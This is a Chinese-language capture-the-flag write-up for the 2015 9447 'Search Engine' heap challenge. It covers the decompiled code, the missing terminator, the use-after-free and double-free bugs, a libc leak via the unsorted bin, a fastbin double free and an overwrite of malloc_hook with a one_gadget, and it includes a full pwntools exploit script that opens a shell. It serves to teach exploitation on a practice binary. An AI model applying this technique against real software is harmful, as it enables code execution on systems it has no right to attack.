练习题:2015 9447 CTF Search Engine

练习题:2015 9447 CTF : Search Engine

保护检察:

在这里插入图片描述

没有开PIE和RELRO,一般可以通过泄露libc基址来寻找system函数

静态分析:

main()函数:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  sub_400D60();
  return 0LL;
}

IDA给出的main函数是这个。但是真正意义上的main函数应该是这个:

__int64 sub_400D60()
{
  __int64 result; // rax

  qword_6020B8 = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      sub_400D30();                             // 菜单函数
      result = sub_400A40();
      if ( (_DWORD)result != 1 )
        break;
      sub_400AD0();
    }
    if ( (_DWORD)result != 2 )
      break;
    sub_400C00();
  }
  if ( (_DWORD)result != 3 )
    sub_400990("Invalid option");
  return result;
}

结合菜单函数可以知道这个程序有两个主要功能,分别是:检索单词,插入句子。

然后就是在IDA中这个循环体里的判断条件有点问题,不应该是 != 而应该是 = ,且这个break 应该是在函数调用的前面

sub_400A40() 函数和 sub_4009B0() 函数:

sub_400A40():

__int64 sub_400A40()
{
  __int64 result; // rax
  char *endptr; // [rsp+8h] [rbp-50h] BYREF
  char nptr[56]; // [rsp+10h] [rbp-48h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  sub_4009B0((__int64)nptr, 48, 1);
  result = strtol(nptr, &endptr, 0);
  if ( endptr == nptr )
  {
    __printf_chk(1LL, "%s is not a valid number\n", nptr);
    result = sub_400A40();
  }
  return result;
}

这个函数的流程主要是:首先定义一个无符号整型 v3 然后调用了sub_4009B0() 这个函数,之后判断了这个输入的数据是否为数字,如果是则输出这串数字(并提示这不是一个可用的数字),如果不是则继续返回输入

sub_4009B0():

void __fastcall sub_4009B0(__int64 a1, int a2, int a3)
{
  int v4; // ebx
  _BYTE *v5; // rbp
  int v6; // eax

  if ( a2 <= 0 )
  {
    v4 = 0;
  }
  else
  {
    v4 = 0;
    while ( 1 )
    {
      v5 = (_BYTE *)(a1 + v4);
      v6 = fread(v5, 1uLL, 1uLL, stdin);
      if ( v6 <= 0 )
        break;
      if ( *v5 == 10 && a3 )
      {
        if ( v4 )
        {
          *v5 = 0;
          return;
        }
        v4 = v6 - 1;
        if ( a2 <= v6 - 1 )
          break;
      }
      else
      {
        v4 += v6;
        if ( a2 <= v4 )
          break;
      }
    }
  }
  if ( v4 = a2 )
    sub_400990("Not enough data");
}

这个函数比较复杂并且比较重要,所以这里仔细梳理一下这个函数的流程:

#这个函数里的判断条件!= 仍然是 =,所以我把代码改了一下#

函数开头的这个if 判断没有什么实际意义,因为a2保持为48

然后看一下这个else 里面,首先将这个v4 置为0,然后进入一个while循环

再循环中的这一部分:

 v5 = (_BYTE *)(a1 + v4);
 v6 = fread(v5, 1uLL, 1uLL, stdin);

意思是将a1 + v4 这个位置上的地址赋给v5 ,然后通过fread 函数向v5 指向的位置输入一个字符,将返回值赋给v6 ,然后一个if 判断,如果上一个fread 函数写入异常的话 v6 的值是不为1的,这样通过这个if 判断就会退出这个循环。

之后的这个if 判断就比较有意思了:

if ( *v5 == 10 && a3 )
      {
        if ( v4 )
        {
          *v5 = 0;
          return;
        }
        v4 = v6 - 1;
        if ( a2 <= v6 - 1 )
          break;
      }

首先要注意的就是这个 *v5 == 10 这里的10 并不是数字上的10,而是在ASCII码中 ‘\n’ 的值,所以这个if 是在判断当前这个v5 对应的字符是不是一个换行符(也就是检查句子结束的地方)

第二个if 就是检查v4 中是否有值,有值的话则将v5 这个位置上的字符置为0(也就是结束符)并退出函数,如果没有值则将v4 置为 v6-1(也就是0)并判断a2(48)是否小于 v6-1(0),如果是则退出循环

最后就是最外圈else:

else
      {
        v4 += v6;
        if ( a2 <= v4 )
          break;
      }

最外圈else 就是步进输入,将v4(在函数中类似于计数器)的大小 +1,让输入继续,并检查v4 是否与 a2(48,应该就是这个函数中的最大输入长度)相等,如果相等就退出循环,并提示我们没有足够的空间

这里我们总结一下这个两个函数的主要功能:

  1. 控制字符串输入
  2. 限制输入的最长长度
  3. 检测输入是否终止
  4. 将输入超出长度的那一部分反馈给用户

sub_400C00()函数:

int sub_400C00()
{
  int v0; // eax
  __int64 v1; // rbp
  int v2; // er13
  char *v3; // r12
  char *v4; // rbx
  __int64 v5; // rbp
  _DWORD *v6; // rax
  int v7; // edx
  __int64 v8; // rdx
  __int64 v10; // rdx

  puts("Enter the sentence size:");
  v0 = sub_400A40();             //调用上面讲到的那个输入函数
  v1 = (unsigned int)(v0 - 1);   //将函数的返回值-1 即输入句子的实际长度,因为要去掉结尾的结束符所以要-1
  v2 = v0;     // 将句子的size 赋给v2
  if ( (unsigned int)v1 > 0xFFFD )
    sub_400990("Invalid size");
  puts("Enter the sentence:");
  v3 = (char *)malloc(v2);
  sub_4009B0((__int64)v3, v2, 0);
  v4 = v3 + 1;
  v5 = (__int64)&v3[v1 + 2];
  v6 = malloc(0x28uLL);
  v7 = 0;
  *(_QWORD *)v6 = v3;
  v6[2] = 0;
  *((_QWORD *)v6 + 2) = v3;
  v6[6] = v2;
  do
  {
    while ( *(v4 - 1) != 32 )
    {
      v6[2] = ++v7;
LABEL_4:
      if ( ++v4 == (char *)v5 )
        goto LABEL_8;
    }
    if ( v7 )
    {
      v10 = qword_6020B8;
      qword_6020B8 = (__int64)v6;
      *((_QWORD *)v6 + 4) = v10;
      v6 = malloc(0x28uLL);
      v7 = 0;
      *(_QWORD *)v6 = v4;
      v6[2] = 0;
      *((_QWORD *)v6 + 2) = v3;
      v6[6] = v2;
      goto LABEL_4;
    }
    *(_QWORD *)v6 = v4++;
  }
  while ( v4 != (char *)v5 );
LABEL_8:
  if ( v7 )
  {
    v8 = qword_6020B8;
    qword_6020B8 = (__int64)v6;
    *((_QWORD *)v6 + 4) = v8;
  }
  else
  {
    free(v6);
  }
  return puts("Added sentence");
}

这是对应的程序的index a sentence 这个功能。可以看见这个函数非常的复杂,所以我们从头捋一下函数的执行逻辑。

首先提示让我们输入句子的size 然后调用前面讲到的这个 sub_400A40() 和 sub_4009B0() 这两个函数来控制输入。之后一个if 判断限制句子size的最大大小不能超过 0xFFFD 如果超过来就会提示我们 invalid size

之后就是输入句子的内容:首先申请一个size大小的堆块(下面简称这个chunk为sen_chunk) 并将这个堆块的指针赋给v3,之后就是有一次调用了前面提到的这两个控制输入的函数来向申请的堆块里填入内容。

这里要注意的是这个sub_4009B0() 函数的传入的三个参数:v3(为句子申请的堆块),v2(句子的size),0(这个特别注意一下)

然后我们会看一下sub_4009B0() 这个函数里面控制句子结束的那一部分:

if ( *v5 == 10 && a3 )    // 这里是‘与’判断 但是由于我们的a3 传入的是0,所以这里的判断是恒为假的!!! 
      {
        if ( v4 )
        {
          *v5 = 0;   // 这里就是在给我们输入的句子打上结束符
          return;
        }
        v4 = v6 - 1;
        if ( a2 <= v6 - 1 )
          break;
      }

可以看见这个恒为假的if 判断会导致用户输入的句子没有结束符,这样一来就为我们后面泄露某些函数的真实地址创造了条件

然后是给v4,v5这两个变量所赋的值:

v4 = v3 + 1;
v5 = (__int64)&v3[v1 + 2];

这里的两个变量直接看的话是赋给v4 sen_chunk堆块中第一个位置上的内容,赋给v5 sen_chunk堆块中句子结尾处的内容。

直接看不大直观,这里结合gdb调试来看一下:

首先用 b *0x400C00 在这个函数的位置打一个断点,然后运行程序选择index a sentence 这个功能进入调试页面,然后步进到 0x400c54 和 0x400c59这里:
在这里插入图片描述

这里可以看见取出来的值放在了rbx 和 rbp这两个寄存器里,所以我们去看一下这里到底放的是什么:
在这里插入图片描述

在这里插入图片描述

这样我们就清楚这两个变量里存放的数据分别是:

  1. 句子开始处的第一个字节
  2. 句子结束处的一个字节(也就是结束符)

然后就是申请了一个0x28大小的chunk,并把地址赋给了v6,根据以前做题的经验,这个chunk多半是一个struct_chunk。

接着往下看,先给变量v7 赋值为0,然后就是对struct_chunk进行内部构造了:

 *(_QWORD *)v6 = v3; //将sen_chunk 的地址放在第一个位置上,但是这个并不是真正意义上的sen_chunk,而是第n个单词的地址
  v6[2] = 0; // 将第二个成员变量上的值置为0(后面循环中这里其实是单词的size)
  *((_QWORD *)v6 + 2) = v3; // 在第三个成员变量上放上sen_chunk 这里的赋值就是真正意义上的sen_chunk了
  v6[6] = v2; // 在第四个成员变量上赋值为句子的size

然后我们正式进入循环:

第一个while循环:

 while ( *(v4 - 1) != 32 )// 这里的32是空格的ASCII码,这里就是检测当前位置上的字符是不是空格,如果不是则进入循环
    {
      v6[2] = ++v7; //这里就是前面说的单词的size,因为它每读一个字母就 ++v7
LABEL_4:
      if ( ++v4 == (char *)v5 ) //前面提到v5 存放的是句子结尾的结束符,所以这里就是判断有没有遍历到句子的结尾并完成一次跳转
        goto LABEL_8;
    }

第一个if 判断:

 if ( v7 )
    {
      v10 = qword_6020B8;
      qword_6020B8 = (__int64)v6;
      *((_QWORD *)v6 + 4) = v10;
      v6 = malloc(0x28uLL);
      v7 = 0;
      *(_QWORD *)v6 = v4;
      v6[2] = 0;
      *((_QWORD *)v6 + 2) = v3;
      v6[6] = v2;
      goto LABEL_4;
    }
    *(_QWORD *)v6 = v4++; //将首字母地址自加1 下一次才能进入循环

这个if 就是当我们每一次遍历完一个单词后,就创建一个新的struct_chunk 然后重复上面创建struct_chunk 的操作,但是这里有一个非常重要的部分,也就是我们struct_chunk 中的第五个成员变量:上一个struct_chunk 的地址 , 也就是这一部分代码的功能:

 v10 = qword_6020B8;
 qword_6020B8 = (__int64)v6;
 *((_QWORD *)v6 + 4) = v10;

可以看见这里将v6 的地址赋给qword_6020B8 然后这里存放的就是上一个struct_chunk 的地址,并将其赋给了v6 作为第五个成员变量

注意这个while 循环和if 是嵌套在外面一个打的do-while 循环之中的,也就是这个:

 do
  {
     .
     .
  }
 while ( v4 != (char *)v5 );

也就是说,这些操作都是建立在句子还没结束之前

上面这些流程就是正常写句子的情况,就比如:I love you这样的句子,那么如果我们不按规矩写呢,比如:I love you (在结尾多打一个空格),这样的话我们在正常判断的时候就会为这个单独的空格创建一个struct_chunk。这样就等于是程序免费送了我们一个fake_chunk,但是程序设计者也没有那么傻,这里设计了一个检测的步骤,也就是前面while 循环跳转的那个LABEL_8

LABEL_8:
  if ( v7 )
  {
    v8 = qword_6020B8;
    qword_6020B8 = (__int64)v6;
    *((_QWORD *)v6 + 4) = v8;
  }
  else
  {
    free(v6);
  }
  return puts("Added sentence");
}

第一个if 判断是在正常结束句子的情况下给最后一个struct_chunk 赋值第五个成员变量,else就是检测这个非法结束,并把多创建的那个struct_chunk 给释放掉。但是这里他并没有释放掉qword_6020B8 这个位置上的malloc指针,这样就存在UAF和 double_free的问题

sub_400AD0函数:

void sub_400AD0()
{
  int v0; // ebp
  void *v1; // r12
  __int64 i; // rbx
  char v3[56]; // [rsp+0h] [rbp-38h] BYREF

  puts("Enter the word size:");
  v0 = sub_400A40();
  if ( (unsigned int)(v0 - 1) > 0xFFFD )
    sub_400990("Invalid size");
  puts("Enter the word:");
  v1 = malloc(v0);
  sub_4009B0((__int64)v1, v0, 0);
  for ( i = qword_6020B8; i; i = *(_QWORD *)(i + 32) )
  {
    if ( **(_BYTE **)(i + 16) )
    {
      if ( *(_DWORD *)(i + 8) == v0 && !memcmp(*(const void **)i, v1, v0) )
      {
        __printf_chk(1LL, "Found %d: ", *(unsigned int *)(i + 24));
        fwrite(*(const void **)(i + 16), 1uLL, *(int *)(i + 24), stdout);
        putchar(10);
        puts("Delete this sentence (y/n)?");
        sub_4009B0((__int64)v3, 2, 1);
        if ( v3[0] == 121 )
        {
          memset(*(void **)(i + 16), 0, *(int *)(i + 24));
          free(*(void **)(i + 16));
          puts("Deleted!");
        }
      }
    }
  }
  free(v1);
}

这个函数就对应了程序的单词检索功能。从头捋一下函数的执行过程:

首先给了一个输入提示,让我们输入要检索的单词的 size,然后对输入的size进行判断,如果大于了0xFFFD 就提示我们这个size大小有错误。然后创建了一个单词 size大小的 chunk,调用了前面提到的那个控制输入的函数将我们输入的这个单词放进申请出来的chunk 之中,并将这个chunk 的指针赋给了 v1。

然后进入了一个大的for 循环并嵌套了三个 if判断,我们分开来看一下:

首先是开头的for 循环:

  for ( i = qword_6020B8; i; i = *(_QWORD *)(i + 32) )

这里将i 设置为 qword_6020B8,前面提到过这个位置上存放的是struct_chunk 的地址,并且根据上一个函数的运行顺序,在这个函数中这里存放的是最后一个单词的struct_chunk,然后这个 **i = (_QWORD )(i + 32) 要结合一下gdb 调试来看:
在这里插入图片描述

红框圈起来的地方就是每一个struct_chunk +32 的成员变量,正好就是指向上一个struct_chunk 的第五成员变量,所以这个for 循环就是从后往前选中struct_chunk。

然后是第一个if 判断:

if ( **(_BYTE **)(i + 16) )

根据gdb 调试的结构可以看出这个位置上是sen_chunk,所以这个if 就是在判断sen_chunk 是否存在和里面是否有内容

第二个if 判断:

if ( *(_DWORD *)(i + 8) == v0 && !memcmp(*(const void **)i, v1, v0) )
      {
        __printf_chk(1LL, "Found %d: ", *(unsigned int *)(i + 24));
        fwrite(*(const void **)(i + 16), 1uLL, *(int *)(i + 24), stdout);
        putchar(10);
        puts("Delete this sentence (y/n)?");
        sub_4009B0((__int64)v3, 2, 1);

这个if 先是判断这个struct_chunk 上存放的word_size 与我们输入的这个 word_size 是否相同,并用**memcmp(*(const void **)i, v1, v0) )**来比较struct_chunk中第一个成员变量(也就是当前的单词)是否与之一致。

如果比较一致,就打印出这个句子并提示我们是否要删除这个句子。

第三个if 判断:

if ( v3[0] == 121 )
        {
          memset(*(void **)(i + 16), 0, *(int *)(i + 24));
          free(*(void **)(i + 16));
          puts("Deleted!");
        }

这个121是y的ASCII码,所以这个if就是在判断我们在前面有没有选择y ,也就是我们有没有选择删除这个句子。如果我么你选择了y,那么就会将这个struct_chunk 中sen_chunk 里的内容全部清空(置为\x00),并释放掉指向它的这个malloc的chunk。

在结尾处函数释放掉了为查找单词创建的chunk(v1),但并没有将malloc 指针置为null,所以这里又有一个漏洞。

这里虽然将sen_chunk的指针和内容置空了,但是单词各自的struct_chunk 并没有被置空,它们仍然在链表当中

思路流程:

这是wiki上的一道例题,所以这里我也用的是网上最普遍的方法:double-free 以及 UAF 的方法来解决(复杂的我也不会,hhhh)

首先理一下思路:

  1. 泄露libc基址
  2. 通过double_free 构建fastbins 当中的循环链表
  3. 找到可用的fake_chunk
  4. 找到one_gadget并修改malloc_hook

这里我遇到的主要问题就是libc基址的泄露和malloc_hook 的修改,后面也会详细的讲讲

泄露libc基址:

再开始实际操作之前先补充两个很重要的小tips:

  1. mian_arena距离unsorted_bins 是一个固定的距离,这个距离是:88
  2. main_arena距离libc 基址的距离也是一个固定值,这个值是:0x3c4b20

这道题的程序中我们是没有直接的打印功能的,所以通过往chunk里面写入got表地址然后直接打印出来这个办法是不行的,所以这里我们就要拐个弯,通过计算来算出libc 的基址。

可以看出,这种计算方法需要找到unsorted_bins的地址,这里提一下unsorted_bins,他的数据结构是一个双向循环链表,如果我们的unsorted_bins 当中只有一个成员,那么这个成员chunk 的fd 和 bk指针就会都指向unsorted_bins的起始位置。所以我们就要创建一个大于0x80(fastbins的最大大小)的chunk,并将它挂进unsorted_bins之中。

这里我们回顾一下函数功能的分析:在单词检索的功能当中存在两个check:

  1. 检查相关sen_chunk 之中是否有值
  2. 检查输入的单词的size 与 这个struct_chunk 中word_size 这个成员变量的值是否相同

这里我们可以发现对于单词的检索功能存在一个漏洞:即使在我们释放sen_chunk 之后,由于挂进了链表当中,所以存在fd和bk指针,这样就可以绕过第一个check。再次搜索\x00 还是可以匹配到我们的sen_chunk。

(这里写一个当时遇到的小疑问:我们绕过第二个检查时是通过搜索\x00 来绕过的,但是挂进unsorted_bins当中的chunk是有fd 和 bk 指针的,那么怎么通过搜索\x00来绕过的呢? 这是因为句子里还会设计单独的一个字节,是通过搜索这个单词清空后的\x00 来绕过的。)

实现代码:

unsortedbin_sen = b'y'*0x85 + b' m'
sentence(unsortedbin_sen)
word(b'm')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
pause()
word(b'\x00')
io.recvuntil("Found " + str(len(unsortedbin_sen)) + ": ")

unsorted_addr = u64(io.recv(6).ljust(8, b'\x00'))
main_arena_addr = unsorted_addr - 88
libc_addr = main_arena_addr - 0x3c4b20

print(hex(libc_addr))

io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'n')

用gdb 调试看一下这的实现过程,首先是泄露unsorted_bins 的实际地址:

在这里插入图片描述

这样我们在搜索\x00 时就会顺带将unsorted_bins的实际地址打印出来。

在fastbins之中构建循环链表:

这一步就是在为后面修改malloc_hook做铺垫了。首先由于这道题要用修改malloc_hook的方法来做,所以还是要先补充一个 小tips:

在malloc_hook 附近的chunk大小一般为0x70 或者 0x7f ,所以这里我们循环链表的成员也要选择0x70大小的chunk,所以我们构建的三个chunk如下:

sentence('a'*0x5e + ' m')
sentence('b'*0x5e + ' m')
sentence('c'*0x5e + ' m')

由于每个句子之中都有’m’ 这个单词,所以我们检索m,将这三个chunk依次释放:

word('m')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')

这时候我们看一下fastbins之中的情况:

在这里插入图片描述

可以看见三个0x70大小的chunk 已经被挂进fastbins之中了,这里注意释放的顺序,由于检索时是从后往前的,所以最后创建的chunk_c 是第一个被挂进fastbins的。

由于我们要通过搜索\x00 的方式来实现double_free,但是由于chunk_c 的fd是指向null,也就是说它作为sen_chunk是一个空白的chunk,所以在检索\x00 时 chunk_c是无法通过第一个check的。那么程序就会提示让我们是否要接着释放后面的chunk_b 和 chunk_a,这个时候我们选择释放chunk_b保留chunk_a,就可以在fastbins中人为构建出一个循环链表,实现代码如下:

word('\x00')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'n')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'n')  #这里还有一次选择是因为前面创建unsorted_bins_chunk 也会被\x00 检索出来,但是要防止它干扰我们就选择了n

我们现在去看一下fastbins之中的情况:

在这里插入图片描述

可以看见这里已经形成了一个循环链表

寻找可用的fake_chunk:

这一步就是要找一个可以用来修改malloc_hook的跳板,由于前面我们已经leak了libc的基址,所以这里我们可以在gdb之中找到偏移来定位这个fake_chunk。

这里就有一个gdb的小技巧,使用find_fake_fsat 命令就可以直接帮我们找到一个可以用的fake_chunk,但是在这之前我们要先用print (void*)&main_arena 命令找到main_arena的位置:

在这里插入图片描述

由于main_arena与malloc_hook的距离是0x10,所以我们可以找到malloc_hook的地址是:0x7fd533fbcb10,然后我们就可以使用find_fake_fast这个命令了:
在这里插入图片描述

这样我们就找到了一个fake_chunk,计算出它与main_arena的距离是:0x33。到这一步我们就可以通过偏移来定位fake_chunk了

找到one_gadget并修改malloc_hook:

到这就是我们的最后一步了,上一步我们已经找到了fake_chunk并构建了fastbins中的循环链表,这一步我们首先就要将fake_chunk挂进fastbins当中。

首先由于在fastbins之中的的循环链表是由double_free 来构建的,所以两个chunk_b是指向的同一块内存,当我们再次启用chunk_b并在里面填入fake_chunk地址的时候,在链表之中的另一个chunk_b的fd 就会指向fake_chunk,这样一个新的单向链表就诞生了。
在这里插入图片描述
实现代码如下:

fake_chunk_addr = main_arena_addr - 0x33
hook_offest = 0x23
fake_chunk = p64(fake_chunk_addr).ljust(0x60, b'y')
sentence(fake_chunk)

这个时候我们的fastbins之中是有三个成员的,所以我们要把前面两个多余的成员给踢出去,所以我们连续申请两个合适大小的sen_chunk:

sentence('a'*0x60)
sentence('b'*0x60)

然后我们就可以用one_gadget来找一下可以用的gadget了:
在这里插入图片描述
这里一定要注意一下使用的libc版本,然后就是一个一个的试了(这个里面的十六进制数字是偏移,我们要加上libc基址才能用),我运气很不好,试到最后一个才试出来,差点还以为自己哪一步出问题了的🤣,这里的实现代码是这样的:

one_gadget = libc_addr + 0xf1247

payload = b'a'*0x13 + p64(one_gadget)
payload = payload.ljust(0x60, b'y')

sentence(payload)

具体EXP:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

io = process("./search")
elf = ELF("./search")
libc = ("/lib/x86_64-linux-gnu/libc.so.6")
log.info('PID: ' + str(proc.pidof(io)[0]))


def sentence(sen):
    io.recvuntil("3: Quit\n")
    io.sendline(b'2')
    io.recvuntil("Enter the sentence size:\n")
    io.sendline(str(len(sen)))
    io.recvuntil("Enter the sentence:\n")
    io.send(sen)
def word(wd):
    io.recvuntil("3: Quit\n")
    io.sendline(b'1')
    io.recvuntil("Enter the word size:\n")
    io.sendline(str(len(wd)))
    io.recvuntil("Enter the word:\n")
    io.send(wd)


unsortedbin_sen = b'y'*0x85 + b' m'
sentence(unsortedbin_sen)
word(b'm')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
#pause()
word(b'\x00')
io.recvuntil("Found " + str(len(unsortedbin_sen)) + ": ")

unsorted_addr = u64(io.recv(6).ljust(8, b'\x00'))
main_arena_addr = unsorted_addr - 88
libc_addr = main_arena_addr - 0x3c4b20

print(hex(libc_addr))

io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'n')

#pause()
sentence('a'*0x5e + ' m')
sentence('b'*0x5e + ' m')
sentence('c'*0x5e + ' m')
#pause()
word('m')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
#pause()
word('\x00')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'y')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'n')
io.recvuntil("Delete this sentence (y/n)?\n")
io.sendline(b'n')
#pause()
fake_chunk_addr = main_arena_addr - 0x33
hook_offest = 0x23
fake_chunk = p64(fake_chunk_addr).ljust(0x60, b'y')
sentence(fake_chunk)

#pause()

sentence('a'*0x60)
sentence('b'*0x60)

#pause()

one_gadget = libc_addr + 0xf1247

payload = b'a'*0x13 + p64(one_gadget)
payload = payload.ljust(0x60, b'y')

sentence(payload)

io.interactive()

然后就是运行结果了:
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值